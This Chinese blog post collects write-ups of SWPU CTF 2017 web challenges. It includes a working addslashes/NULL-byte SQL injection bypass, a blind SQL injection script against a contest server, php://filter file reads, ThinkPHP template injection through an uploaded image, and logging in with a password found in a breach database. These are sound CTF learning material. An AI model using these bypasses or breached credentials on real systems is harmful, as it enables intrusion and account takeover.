SWPU CTF 2017 Web WriteUp

转载

vspiders 于 2017-11-12 11:01:57 发布 2156 收藏
分类专栏： ctf


ctf 专栏收录该内容
5 篇文章 0 订阅
订阅专栏

这比赛Web题质量还挺不错的，最后八道题只做出四道(我好菜啊.jpg)...不会的题看了一下别人的writeup，在这里一起总结一下

你能进入后台吗? (100pt)

点进链接是一个登录界面，右键查看源码有两条隐藏信息

```
<!--The #define is xxooaa and LEN is 6-->
<!--The crypt key is {11132, 468, 392, 1281, 62}-->
```

然后扫目录扫到了一个`index.php.bak`，下载下来打开后是乱码，尝试了一下前段时间`pwnhub`上出过题的`phpjiami`无果，到这里就没思路了。

后来主办方放出提示`php-screw`，查了一下查到这两篇文章

> *http://blog.csdn.net/water_cow/article/details/41872091*
>
> *关于php-screw解密*

按照这两篇文章里的内容配置好`php_screw`的加密和解密工具之后，可以解密之前下载的`index.php.bak`，然后内容是md5加密后的sql注入，解法可以参考这篇文章

> *http://www.joychou.org/web/SQL-injection-with-raw-MD5-hashes.html*

web catch me if you can (200pt)

纯社工题，点进题目是一个黑页，留下了黑客的QQ，加那个QQ然后访问空间，有一串base64编码的信息，解码之后得到黑客的博客地址，扫目录扫到后台地址`manage_login.php`，需要登录。在这里卡了一下，一开始以为是注入或弱口令爆破，但是多次尝试无果。后来发现博客的博主留了邮箱，且是163邮箱，联想到163邮箱密码曾大规模泄露，去社工库查了一下，得到账号密码`sonic2011/2010sonic`，登录后台就获得了flag

我们来做个小游戏吧 (300pt)

很有意思的一道题，比赛中没做出来，后来看了大佬的Writeup学习了一波。

题目给了源码www.zip，下载下来。题目是一个猜数游戏，初始10分，猜对一次加一分，猜错一次扣一分，获得100分以上才有flag，所以说靠运气是几乎不可能拿到flag的，只能靠题目的漏洞了，于是代码审计。

源码里三个文件，其中index.php里玩家的用户名和分数都是从$_SESSION里直接取出的，config.php里把所有参数都addslashes()了。然后重头戏是session.class.php，这个文件自己实现了一个session机制(其实是参考ECSHOP的)，然后其中有三处涉及到SQL操作的地方

```
function insert_session()
    {
        return $this->dbConn->query('INSERT INTO ' . $this->session_table . " (session_id, ip, data) VA
    }

    function load_session()
    {
        $res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '
        $session = $res->fetch_array();
        if (empty($session))
        {
            $this->insert_session();
        }
        else
        {
            $GLOBALS['_SESSION']  = unserialize($session['data']);
        }
    }

    function update_session()
    {
        $data = serialize($GLOBALS['_SESSION']);

        $data = addslashes($data);

        return $this->dbConn->query('UPDATE ' . $this->session_table . " SET ip = '" . $this->_ip . "',
    }
```

其中定义$_SESSION的地方在这里

那我们的目标就是通过注入改变这个从数据库取出来的data，以让我们的分数超过一百分。但是可以看到每个参数都用单引号包着，前面也说了每个参数都被addslashes()了，所以很难轻易注入。

但难注也得注。我们得看看SQL操作语句中两个拼接的参数$this->session_id和$this->_ip是如何定义的。

然后读源码知道$this->session_id是如果不存在$_COOKIE['SESSID']就随机生成，存在的话就直接取$_COOKIE['SESSID']的前32位字符，那我们就可以控制这个参数了。而$this->_ip是优先用X-Forwarded-For头来取的，我们也可以控制。

但是这两个参数有验证，验证方式是

其中的gen_session_key()是

也就是说，取$_COOKIE['SESSID']中的前32位字符与$ip拼接然后进行crc32之后的值要与$_COOKIE['SESSID']32位之后的字符相等。但是这个$ip的取值其实是有问题的，他取的是$this->_ip值里最后一个.之前的字符，那如果$this->_ip没有.，那$ip就为空，而$this->_ip是我们可控的，所以我们只要让$_COOKIE['SESSID']中的前32位字符进行crc32之后的值与$_COOKIE['SESSID']32位之后的字符相等就行了。

整个验证和过滤看起来比较难以利用，但其实这里就是利用他的过滤来进行绕过。addslashes()这个函数会把参数中的 ', ", NULL 三个字符转义成 \', \", \0，所以假如我们在$_COOKIE['SESSID']的第32位插入这三个字符的话，这三个字符前就会被加上一个反斜杠，然后这个反斜杠就成了$_COOKIE['SESSID']的第32位，这三个字符就成了第33位。结合前面说的$this->session_id最终取的是$_COOKIE['SESSID']的前32位，那它的最后一位就是反斜杠，带入到SQL语句中 '$this->session_id' 就会变成 'xxxxx\'，这最后一个反斜杠就会转义掉后面的单引号，整个语句就成了

```
SELECT data FROM session WHERE session_id = 'xxxxxx\' and ip = '$this->_ip'
```

也就是session_id等于 xxxxxx\' and ip =，$this->_ip就成功逃逸出单引号包围了，我们就可以用来进行SQL注入了。而我们还要满足 $this->gen_session_key($tmp_session_id) == substr($this->session_id, 32) 这个条件，addslashes()转义的三个字符里单双引号都是不可能在crc32的结果里出现的，但是0可以出现，所以我们这里就在$_COOKIE['SESSID']的第32位插入NULL(%00)，最终只要找到一个最后一位为反斜杠且crc32结果第一位为0的32位字符串就可以了，最终的$_COOKIE['SESSID']就是**找到的字符串的前31位 + %00 + 找到的字符串除了第一个0的crc32结果**

写个脚本爆破一下就可以找到满足要求的字符串

```
<?php
while(1){
    $a = substr(md5(uniqid(mt_rand(), true)), 0, 31) . '\\';
    $b = sprintf('%08x', crc32($a));
    $c = $b[0];
    if($c == '0'){
        echo "$a\n$b";
        break;
    }
}
```

然后在X-Forwarded-For里插入我们的注入语句，因为要反序列化，所以我们让data等于a:2:{s:4:"name";s:4:"f1sh";s:5:"score";s:3:"100";}，然后因为过滤了引号，所以hex编码一下，最终

师傅们一起来找flag (150pt)

题目是一个搜索框，然后看网页源码可以得到提示是要XXE，但是使用常用的XXE payload打过去并没有回显。后来@pupiles师傅和我说应该是一个Blind XXE，查了一波相关姿势后拿到flag

请求:

服务器上的dtd文件:

收到flag:

python sandbox (300pt)

这题没做出来。python沙箱逃逸，禁用了下划线_和大部分能导入的模块，最后fuzz得出还能导入的模块还有math、random、platform、timeit，但是不知道怎么利用这四个模块那执行命令或者代码。

看了WP后才知是类似SQL注入中的时间盲注一样利用timeit模块进行Time Based RCE，非常棒的思路，学到了新姿势。

You Think I Think (200pt)

这题也没做出来。看了WP后才知道是ThinkPHP的模板注入，找了篇文章学习了一波。

所以这题就是注册账号，然后登录进个人主页，然后修改头像的时候上传一张文件尾是PHP代码的图片，然后在包含模板的地方包含这张图片就可以了。这里需要注意的是图片里的代码要合乎ThinkPHP的模板语法，所以要这样写

然后用copy命令附加在一张图片的尾部

然后把这张图片上传之后得到文件路径，在修改密码的地方有模板包含的参数，修改参数为图片路径就好了

flag!flag (200pt)

题目给的链接是http://39.106.13.2/web2/file.php?file=index，很容易想到利用php://filter来读取文件，然后源码里有提示check.php，用http://39.106.13.2/web2/file.php?file=php://filter/read=convert.base64-encode/resource=check读了之后得到源码

```
<?php
error_reporting(0);

$_POST=Add_S($_POST);

$_GET=Add_S($_GET);

$_COOKIE=Add_S($_COOKIE);

$_REQUEST=Add_S($_REQUEST);

function Add_S($array){

    foreach($array as $key=>$value){

        if(!is_array($value)){

            $check= preg_match('/regexp|like|and|\"|%|insert|update|delete|union|into|load_file|outfile

            if($check)
                {

                exit("Stop hacking by using SQL injection!");

            }

        }else{

            $array[$key]=Add_S($array[$key]);
        }

    }

return $array;

}


function check_url()
{

    $url=parse_url($_SERVER['REQUEST_URI']);

    parse_str($url['query'],$query);

    $key_word=array("select","from","for","like");

    foreach($query as $key)

    {

        foreach($key_word as $value)
```

```
        {
            if(preg_match("/".$value."/",strtolower($key)))
            {
                die("Stop hacking by using SQL injection!");
            }
        }
    }
}

?>
```

然后在http://39.106.13.2/web2/article_show_All.php?a_id=1得到注入点

可以看到check.php是过滤了大部分SQL注入关键字，尤其是连select、from都过滤了，看起来非常难注入。但其实能看出这个check.php写的很不自然，明明一个过滤就可以，但却写了两个函数，于是猜测问题可能出在下面那个函数上。下面那个函数是用parse_url()来取请求中的参数，于是猜测这个函数会不会有漏洞，一番查找之后在chu师傅的博客上找到了parse_url()的漏洞(膜chu师傅)，链接

那么问题就很简单了，下面的过滤形同虚设，但union被上面的函数过滤掉了，所以这里不能用联合查询。但我们还是可以利用a_id=1和a_id=0的返回值不同来进行bool注入，exp:

```
import requests

url = 'http://39.106.13.2///web2/article_show_All.php'
get = ""
for i in xrange(32):
    for j in xrange(32, 127):
        payload = "0'^(ascii(mid((select group_concat(table_name) from information_schema.tables where
        param = {'a_id': payload}
        r = requests.get(url, parmas = param)
        if 'flag' in r.content:
            get += chr(j)
            print get
            break
```

偷懒的出题人 (300pt)

这题也没做出来。这题其实是SWPU CTF 2016的一道原题，网上可以查到WP，但是今年加了一层waf，所以最后不能直接在GET参数里进行注入了，改成在cookie里注入就绕过waf了。